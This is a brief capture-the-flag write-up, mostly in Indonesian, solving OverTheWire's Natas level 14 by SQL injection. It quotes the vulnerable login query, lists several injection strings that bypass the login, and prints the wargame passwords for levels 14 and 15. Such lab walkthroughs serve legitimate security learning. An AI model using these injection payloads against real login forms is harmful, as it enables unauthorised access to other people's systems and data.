ctf_aria

write up ctf by ariafatah

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soal

Username: natas14
URL: http://natas14.natas.labs.overthewire.org

solve

• login with cred natas14:z3UYcr4v4uBpeX8f7EZbMHlzK4UR2XtQ
• di soal kali ini terdapat sebuah form login username admin disini ketika saya coba cek sourcenya terdapat connect database hanya saja tidak ada filternya

  SELECT * FROM USERS WHERE username = '<input>' AND password = '<input>';
  # pas dicoba " dia berhasil
  SELECT * FROM USERS WHERE username = '"<input>' AND password = '<input>';
  
  "admin
  " OR "1" = "1
  " OR "test" = "test
  

• saya mencoba memasukan sqli manual dengan wordlist ini
  • https://github.com/payloadbox/sql-injection-payload-list
• waktu saya mencoba yang ini berhasil

  " OR 1 = 1 -- -
  

• output

  # Successful login! The password for natas15 is SdqIqBsFcz3yotlNYErZSZwblkm0lrvx
  

flag

SdqIqBsFcz3yotlNYErZSZwblkm0lrvx